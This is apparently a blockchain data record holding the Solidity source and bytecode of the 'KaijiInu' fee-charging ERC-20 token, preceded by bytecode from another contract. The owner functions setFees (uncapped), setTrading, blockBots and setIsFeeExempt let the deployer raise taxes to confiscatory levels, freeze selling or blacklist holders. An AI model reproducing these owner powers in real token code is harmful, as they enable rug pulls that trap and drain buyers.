f021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8757838015610d3a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6d5750828015610d6c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d79576001820191505b5b8080600101915050610d03565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc957600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e2157600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e4657600080fd5b6001600380549050016004546032821180610e6057508181115b80610e6b5750600081145b80610e765750600082145b15610e8057600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611ede565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561106b57600160008581526020019081526020016000206000600383815481101515610fc957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104a576001820191505b60045482141561105d576001925061106c565b5b8080600101915050610f98565b5b5050919050565b600080600090505b60038054905081101561113b576001600084815260200190815260200160002060006003838154811015156110ac57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561112d576001820191505b5b808060010191505061107b565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111a6611f0a565b600380548060200260200160405190810160405280929190818152602001828054801561122857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111de575b505050505090505b90565b61123b611f1e565b611243611f1e565b6000806005546040518059106112565750595b908082528060200260200182016040525b50925060009150600090505b600554811015611314578580156112aa575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112dd57508480156112dc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611306578083838151811015156112f157fe5b90602001906020020181815250506001820191505b5b8080600101915050611273565b8787036040518059106113245750595b908082528060200260200182016040525b5093508790505b8681101561138857828181518110151561135257fe5b906020019060200201518489830381518110151561136c57fe5b90602001906020020181815250505b808060010191505061133c565b5b505050949350505050565b61139c611f0a565b6113a4611f0a565b6000806003805490506040518059106113ba5750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561151d5760016000868152602001908152602001600020600060038381548110151561140857fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150f5760038181548110151561149157fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114cc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113d7565b8160405180591061152b5750595b908082528060200260200182016040525b509350600090505b818110156115bc57828181518110151561155a57fe5b90602001906020020151848281518110151561157257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611544565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160557600080fd5b60038054905081603282118061161a57508181115b806116255750600081145b806116305750600082145b1561163a57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116d957600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561173357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561179d57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361185285611ba4565b5b5b50505b505b5050565b600061186a848484611d60565b905061187581611680565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561191d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561197557600080fd5b600092505b600380549050831015611a63578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119ad57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a555783600384815481101515611a0657fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a63565b5b828060010193505061197a565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611bd457600080fd5b611bdd83610f8b565b15611d5957600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cbc5780601f10611c9157610100808354040283529160200191611cbc565b820191906000526020600020905b815481529060010190602001808311611c9f57829003601f168201915b505091505060006040518083038185876187965a03f19250505015611d0d57827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611d58565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611d8757600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e46929190611f32565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511611ed957818360005260206000209182019101611ed89190611fb2565b5b505050565b815481835581811511611f0557818360005260206000209182019101611f049190611fb2565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f7357805160ff1916838001178555611fa1565b82800160010185558215611fa1579182015b82811115611fa0578251825591602001919060010190611f85565b5b509050611fae9190611fb2565b5090565b611fd491905b80821115611fd0576000816000905550600101611fb8565b5090565b905600a165627a7a72305820bbcd29131dd90d648d0b32e388a78d644b9a1780bd23fd3cf85b0cbf36847a7e0029
|
{"success": true, "error": null, "results": {}}
| 8,464 |
0x816f302189c3f3A9E13a2dddCa6Cb4d4ba8A6432
|
/**
*Submitted for verification at Etherscan.io on 2022-03-07
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KaijiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KaijiInu";
string private constant _symbol = "KAIJIINU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 2400000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x1137941011168d90b6eEb404793a34095390Cd6a);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 24000000 * 10**9;
uint256 public _maxWalletSize = 48000000 * 10**9;
uint256 public _swapTokensAtAmount = 2400000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613065565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600881526020017f4b61696a69496e75000000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab90613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8290613648565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf613adb565b5b9050602002016020810190610bc59190612e2e565b858585818110610bd857610bd7613adb565b5b90506020020135612062565b508080610bf090613a34565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7290613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b90613648565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6890613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101090613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600881526020017f4b41494a49494e55000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473fffffffffff